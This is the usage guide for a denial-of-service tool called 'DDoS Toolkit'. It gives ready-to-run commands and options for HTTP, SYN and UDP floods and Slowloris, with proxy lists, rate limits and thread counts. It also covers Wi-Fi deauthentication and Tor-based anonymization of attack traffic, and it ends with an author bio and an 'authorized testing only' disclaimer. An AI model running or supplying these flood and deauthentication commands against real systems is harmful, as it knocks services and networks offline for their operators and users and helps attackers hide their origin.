DDoS Toolkit

Usage Guide

Getting started with basic attack commands and examples.

ddos -u http://example.com
ddos -u 192.168.1.1 -a syn-flood

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Custom configurations for more sophisticated testing scenarios.

ddos -u http://example.com --proxies file.txt
ddos -u http://example.com --rate-limit 500

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Additional modules for network scanning, anonymization, and more.

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Argument	Description	Default	Example
`-u, --url`	Target URL/IP	Required	`-u http://example.com`
`-t, --threads`	Number of threads	10	`-t 50`
`-d, --duration`	Duration (seconds)	1500	`-d 300`
`-a, --attack-mode`	Attack type	http-flood	`-a syn-flood`
`--proxies`	Proxy list file	None	`--proxies proxies.txt`
`--rate-limit`	Requests per second	100	`--rate-limit 500`
`--results`	Save results to JSON	None	`--results output.json`

The DDoS Toolkit supports multiple attack modes for comprehensive network testing:

Mode	Command	Description
HTTP Flood	`--attack-mode http-flood`	Standard web request flood
SYN Flood	`--attack-mode syn-flood`	TCP half-open connections
UDP Flood	`--attack-mode udp-flood`	Connectionless packet flood
Slowloris	`--attack-mode slowloris`	Slow HTTP headers attack

Advanced network analysis and vulnerability assessment.

ddos -u 192.168.1.165 -s

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Wi-Fi network management and attack functionalities.

ddos --wifi-deauth

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Tor-based traffic anonymization for testing.

ddos --anonymizer start

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Mehdi Hajhouj (LIONMAD) is a passionate developer with expertise in ethical cybersecurity, open-source tools, and system automation.
Creator of innovative frameworks like Ghost Framework, DDoS Toolkit, LinSpector, Anonymizer, And many more.

This software is strictly for authorized security testing and research. Unauthorized use may violate international laws. Use responsibly.

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